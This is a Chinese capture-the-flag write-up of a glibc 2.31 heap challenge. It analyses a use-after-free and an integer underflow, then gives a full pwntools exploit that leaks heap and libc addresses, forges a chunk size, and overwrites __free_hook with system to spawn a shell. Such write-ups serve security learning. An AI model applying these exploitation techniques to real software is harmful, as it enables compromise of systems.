examination
1 2 3 4 5 6 7 8 9
| ➜ 桌面 ./examination _____ _ _ _ | ___| (_) | | (_) | |__ __ __ __ _ _ __ ___ _ _ __ __ _ | |_ _ ___ _ __ | __| \ \/ / / _` | | '_ ` _ \ | | | '_ \ / _` | | __| | | / _ \ | '_ \ | |___ > < | (_| | | | | | | | | | | | | | | (_| | | |_ | | | (_) | | | | | \____/ /_/\_\ \__,_| |_| |_| |_| |_| |_| |_| \__,_| \__| |_| \___/ |_| |_| role: <0.teacher/1.student>: 11 no student yet
|
1 2 3 4 5 6 7 8 9
| examination: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=316ff7d18256c35fdf207a21d1e492fa8b73e294, stripped [*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/examination' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: '/lib/x86_64-linux-gnu/'
|
64位,dynamically,全开
1
| GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release versi
|
- calloc 同 malloc 类似只是会将申请到的堆块内容清 0
- calloc 不会从 tcachebin 里取空闲的 chunk ,而是从 fastbin 里取,取完后,和 malloc 一样,如果 fastbin 里还有剩余的 chunk ,则全部放到对应的 tcache bin 里取,采用头插法
chunk 结构:
1
| student_list => student => chunk
|
漏洞分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| unsigned __int64 free_t() { int id; char buf[10]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); puts("only 3 chances to call parents!"); if ( call_chances ) { --call_chances; if ( student_num ) { puts("which student id to choose?"); read(0, buf, 5uLL); id = atoi(buf); if ( id >= 0 && id <= 9 && student_list[id] ) { printf("bad luck for student %d! Say goodbye to him/her!", (unsigned int)id); if ( (*student_list[id])->chunk.comment ) free((void *)(*student_list[id])->chunk.comment); free(*student_list[id]); free(student_list[id]); student_list[id] = 0LL; --student_num; } else { puts("please watch carefully :)"); } } else { puts("add some students first!"); } } else { puts("no you can't"); } return __readfsqword(0x28u) ^ v3; }
|
- “释放模块”只置空了“student_list[id]”
- student,chunk,comment 造成 UAF
入侵思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| unsigned __int64 __fastcall check_s(int a1) { _BYTE *addr; char nptr[24]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); if ( *((_DWORD *)student_list[a1] + 7) == 1 ) { puts("already gained the reward!"); } else { if ( (*student_list[a1])->chunk.random_score > 0x59u ) { printf("Good Job! Here is your reward! %p\n", student_list[a1]); printf("add 1 to wherever you want! addr: "); read_s(0, nptr, 16); addr = (_BYTE *)atol(nptr); ++*addr; *((_DWORD *)student_list[a1] + 7) = 1; } if ( (*student_list[a1])->chunk.comment ) { puts("here is the review:"); write(1, (const void *)(*student_list[a1])->chunk.comment, SLODWORD((*student_list[a1])->chunk.size_comment)); } else { puts("no reviewing yet!"); } } return __readfsqword(0x28u) ^ v4; }
|
check_s 这个函数大有文章,即可以泄露地址,又有一次“任意++”的机会
想要使用“reward”,必须满足以下条件:
1
| if ( (*student_list[a1])->chunk.random_score > 0x59u )
|
这个“random_score”是在以下函数中定义的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| unsigned __int64 give_t() { unsigned int i; unsigned int random_score; char buf[8]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); puts("marking testing papers....."); for ( i = 0; i < student_num; ++i ) { if ( read(random, buf, 8uLL) != 8 ) { puts("read_error"); exit(-1); } buf[0] &= ~0x80u; random_score = buf[0] % (10 * (*student_list[i])->chunk.question_num); printf("score for the %dth student is %d\n", i, random_score); if ( *((_DWORD *)student_list[i] + 6) == 1 ) { puts("the student is lazy! b@d!"); random_score -= 10; } (*student_list[i])->chunk.random_score = random_score; } puts("finish"); return __readfsqword(0x28u) ^ v4; }
|
函数 give_t 会根据一个随机数“buf”和“question_num”对“random_score”进行赋值,而“question_num”在以下函数中实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| unsigned __int64 add_t() { int question_num[2]; Student **student; Chunk *chunk; unsigned __int64 v4;
v4 = __readfsqword(0x28u); question_num[1] = 0; question_num[0] = 0; if ( (unsigned int)student_num <= 6 ) { student = (Student **)calloc(1uLL, 0x20uLL); chunk = (Chunk *)calloc(1uLL, 0x18uLL); *student = (Student *)chunk; student_list[student_num++] = student; printf("enter the number of questions: "); __isoc99_scanf("%d", question_num); if ( question_num[0] <= 9 && question_num[0] > 0 ) { (*student)->chunk.question_num = question_num[0]; puts("finish"); } else { puts("wrong input!"); } } else { puts("No more students!"); } return __readfsqword(0x28u) ^ v4; }
|
在函数 add_t 中:“question_num”最高被赋值为“9”,最终执行结果就是:
1
| random_score = random % (10 * 9);
|
也就是说:“question_num”最大为“89”,根本不可能为“90”
所以我们的第一步就是修改“question_num”:
1 2 3 4 5 6 7
| unsigned int random_score;
if ( LODWORD(student_list[i]->is_pray) == 1 ) { puts("the student is lazy! b@d!"); random_score -= 10; }
|
这里的“random_score”是“unsigned int”类型的,所以可以进行负数溢出,这样就可以进行泄露了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| role(0) add_st(1) change_role(1) pray() change_role(0) give() change_role(1) check()
p.recvuntil('Good Job! Here is your reward! ') leak_addr = eval(p.recvuntil('\n')[:-1]) heap_base = leak_addr-16-0x290 success('leak_addr >> '+hex(leak_addr)) success('heap_base >> '+hex(heap_base))
|
另外还有一次“任意++”的机会可以使用,但我们这里只泄露出了 heap_base ,所以只能修改堆上的数据,可以用它来构造“off-by-one”
- 因为这些 chunk 都分布在 tcache 上,所以不考虑 unlink 攻击
- calloc 不会从 tcachebin 里取空闲的 chunk,tcache attack失效
- calloc 会将申请到的堆块内容清 0,overlapping 可能也够呛了
我当时的思路就是:直接覆盖“chunk->size”的低位,把它释放入unsortedbin,后续 leak libc_base(一次“任意++”可能不太行,需要两次)
这里最大的问题就是:如何利用堆风水,使修改了“size”的chunk在释放时不会报错,当时做题的时候就是卡在这里了,想了多种组合方式都没有成功……
比赛结束后,看了下 free 的源码,才发现是 unlink 的检查没有通过:(经此一役,打算做个free的源码分析)
1 2
| if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size");
|
先看看官方wp的处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| role(0) add_st(1) comment(0,0x48,'aaaa') add_st(1) comment(1,0x48,'bbbb')
change_role(1) change_id(0) pray() change_id(1) pray() change_role(0) give()
add_st(2) comment(2,0x38,'222') add_st(3) add_st(4) comment(4,0x3ff,'\x00'*0x248+p64(0x21)+p64(0)*3+p64(0x21)) add_st(5) add_st(6)
change_role(1) change_id(0) check()
p.recvuntil('Good Job! Here is your reward! ') leak_addr = eval(p.recvuntil('\n')[:-1]) heap_base = leak_addr-16-0x290 success('leak_addr >> '+hex(leak_addr)) success('heap_base >> '+hex(heap_base))
target_addr=heap_base+0x2e0 success('target_addr >> '+hex(target_addr)) p.recvuntil('add 1 to wherever you want! addr: ') p.send(str(target_addr))
change_id(1) check() target_addr=heap_base+0x2e0 p.recvuntil('add 1 to wherever you want! addr: ') p.send(str(target_addr))
change_role(0) comment_have(0,'A'*0x48+p16(0x421)) free(1)
|
修改前:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| Allocated chunk | PREV_INUSE Addr: 0x55fd4c4b42e0 Size: 0x51
Allocated chunk | PREV_INUSE Addr: 0x55fd4c4b4330 Size: 0x31
Allocated chunk | PREV_INUSE Addr: 0x55fd4c4b4360 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x55fd4c4b4380 Size: 0x51
Allocated chunk | PREV_INUSE Addr: 0x55fd4c4b43d0 Size: 0x31
Allocated chunk | PREV_INUSE Addr: 0x55fd4c4b4400 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x55fd4c4b4420 Size: 0x41
......
Allocated chunk | PREV_INUSE Addr: 0x55fd4c4b4500 Size: 0x411
|
修改后,释放前:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| Allocated chunk | PREV_INUSE Addr: 0x555c7a4be2e0 Size: 0x51
Allocated chunk | PREV_INUSE Addr: 0x555c7a4be330 Size: 0x421
Allocated chunk | PREV_INUSE Addr: 0x555c7a4be750 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x555c7a4be770 Size: 0x21
Allocated chunk Addr: 0x555c7a4be790 Size: 0x00
|
释放后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| Allocated chunk | PREV_INUSE Addr: 0x562a85b602e0 Size: 0x51
Free chunk (unsortedbin) | PREV_INUSE Addr: 0x562a85b60330 Size: 0x421 fd: 0x7f3d7b952be0 bk: 0x7f3d7b952be0
Allocated chunk Addr: 0x562a85b60750 Size: 0x20
Allocated chunk | PREV_INUSE Addr: 0x562a85b60770 Size: 0x21
Allocated chunk Addr: 0x562a85b60790 Size: 0x00
|
发现“student1”已经成功进入了 unsortedbin,并且后续区域都可以被该 unsorted chunk 控制,借此我们可以“还原”被破坏的内容,并且把“main_arena+xx”覆盖到我们想要的位置
比如说:覆盖到“comment2”后,直接利用“check”打印出来
1 2 3 4 5 6 7 8 9 10 11 12 13
| payload = '\x00'*0x90 payload += p64(0)+p64(0x31)+p64(heap_base+0x410)+'\x00'*0x18 payload += p64(0)+p64(0x21)+p64(2)+p64(heap_base+0x430)+p64(0x10) comment(6,0xe8,payload)
change_role(1) change_id(2) check() p.recvuntil('here is the review:\n') leak_addr=u64(p.recvuntil('\x7f').ljust(8,'\x00')) libc_base=leak_addr-2018272 success('leak_addr >> '+hex(leak_addr)) success('libc_base >> '+hex(libc_base))
|
接下来就可以覆盖“student3->comment3”为“free_hook-8”,最后将其修改为“system”
1 2 3 4 5 6 7
| change_role(0) payload = '\x00'*0x30 payload += p64(0)+p64(0x31)+p64(heap_base+0x4a0)+'\x00'*0x18 payload += p64(0)+p64(0x21)+p64(0)+p64(free_hook-8)+p64(0x10) comment(5,len(payload),payload) comment_have(3,'/bin/sh;'+p64(system_libc)) free(3)
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| Allocated chunk | PREV_INUSE Addr: 0x55af7721a330 Size: 0xf1
Allocated chunk | PREV_INUSE Addr: 0x55af7721a420 Size: 0x91
Free chunk (unsortedbin) | PREV_INUSE Addr: 0x55af7721a4b0 Size: 0x2a1 fd: 0x7f70a91b4be0 bk: 0x7f70a91b4be0
|
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133
| from pwn import *
p=process('./examination') elf=ELF('./examination') libc=ELF('./libc-2.31.so')
def role(index): p.recvuntil('role: <0.teacher/1.student>:') p.sendline(str(index))
def change_role(index): p.sendlineafter('choice>> ',str(5)) role(index)
def add_st(num): p.sendlineafter('choice>> ',str(1)) p.recvuntil('enter the number of questions:') p.sendline(str(num))
def give(): p.sendlineafter('choice>> ',str(2))
def comment(id,size,comment): p.sendlineafter('choice>> ',str(3)) p.sendlineafter('which one? > ',str(id)) p.sendlineafter('please input the size of comment: ',str(size)) p.sendafter('enter your comment:\n',comment)
def comment_have(id,comment): p.sendlineafter('choice>> ',str(3)) p.sendlineafter('which one? > ',str(id)) p.sendafter('enter your comment:\n',comment) def free(id): p.sendlineafter('choice>> ',str(4)) p.sendlineafter('to choose?\n',str(id)) def backdoor(data): p.sendlineafter('choice>> ',str(6)) p.sendline(data) def check(): p.sendlineafter('choice>> ',str(2)) def pray(): p.sendlineafter('choice>> ',str(3)) def mode(score): p.sendlineafter('choice>> ',str(4)) p.sendlineafter('enter your pray score: 0 to 100\n',str(score))
def change_id(id): p.sendlineafter('choice>> ',str(6)) p.sendlineafter('input your id: ',str(id))
role(0) add_st(1) comment(0,0x48,'aaaa') add_st(1) comment(1,0x48,'bbbb')
change_role(1) change_id(0) pray() change_id(1) pray() change_role(0) give()
add_st(2) comment(2,0x38,'222') add_st(3) add_st(4) comment(4,0x3ff,'\x00'*0x248+p64(0x21)+p64(0)*3+p64(0x21)) add_st(5) add_st(6)
change_role(1) change_id(0) check()
p.recvuntil('Good Job! Here is your reward! ') leak_addr = eval(p.recvuntil('\n')[:-1]) heap_base = leak_addr-16-0x290 success('leak_addr >> '+hex(leak_addr)) success('heap_base >> '+hex(heap_base))
target_addr=heap_base+0x2e0 success('target_addr >> '+hex(target_addr)) p.recvuntil('add 1 to wherever you want! addr: ') p.send(str(target_addr))
change_id(1) check() target_addr=heap_base+0x2e0 p.recvuntil('add 1 to wherever you want! addr: ') p.send(str(target_addr))
change_role(0) comment_have(0,'A'*0x48+p16(0x421)) free(1)
payload = '\x00'*0x90 payload += p64(0)+p64(0x31)+p64(heap_base+0x410)+'\x00'*0x18 payload += p64(0)+p64(0x21)+p64(2)+p64(heap_base+0x430)+p64(0x10) comment(6,0xe8,payload)
change_role(1) change_id(2) check() p.recvuntil('here is the review:\n') leak_addr=u64(p.recvuntil('\x7f').ljust(8,'\x00')) libc_base=leak_addr-2018272 success('leak_addr >> '+hex(leak_addr)) success('libc_base >> '+hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook'] system_libc=libc_base+libc.sym['system'] success('free_hook >> '+hex(free_hook)) success('system_libc >> '+hex(system_libc))
change_role(0) payload = '\x00'*0x30 payload += p64(0)+p64(0x31)+p64(heap_base+0x4a0)+'\x00'*0x18 payload += p64(0)+p64(0x21)+p64(0)+p64(free_hook-8)+p64(0x10) comment(5,len(payload),payload)
comment_have(3,'/bin/sh;'+p64(system_libc)) free(3)
p.interactive()
|
小结
复现完这个题目后,感觉打比赛时的自己挺蠢的
- 上午因为把结构体改错了,导致负数溢出这个漏洞迟迟出不了
- 下午我误以为“任意++”这个条件只能执行一次,导致做了好几个小时的无用功
- 后来想到可以多次“任意++”,然后改“chunk->size”将其释放入 unsortedbin
- 最后因为不熟悉 free 的检查机制,导致报错,晚饭回来以后,队友都打完了
感觉这个题的技术点我都懂,再给我点时间翻翻 free 的源码,说不定就出了,归根到底还是缺乏比赛的历练
PS:free 会检查被释放的 chunk 是否可以进行合并,其中对 nextchunk 是否 free 的检查需要用到 nextchunk->nextchunk 的P位,所以务必将其伪造为“1”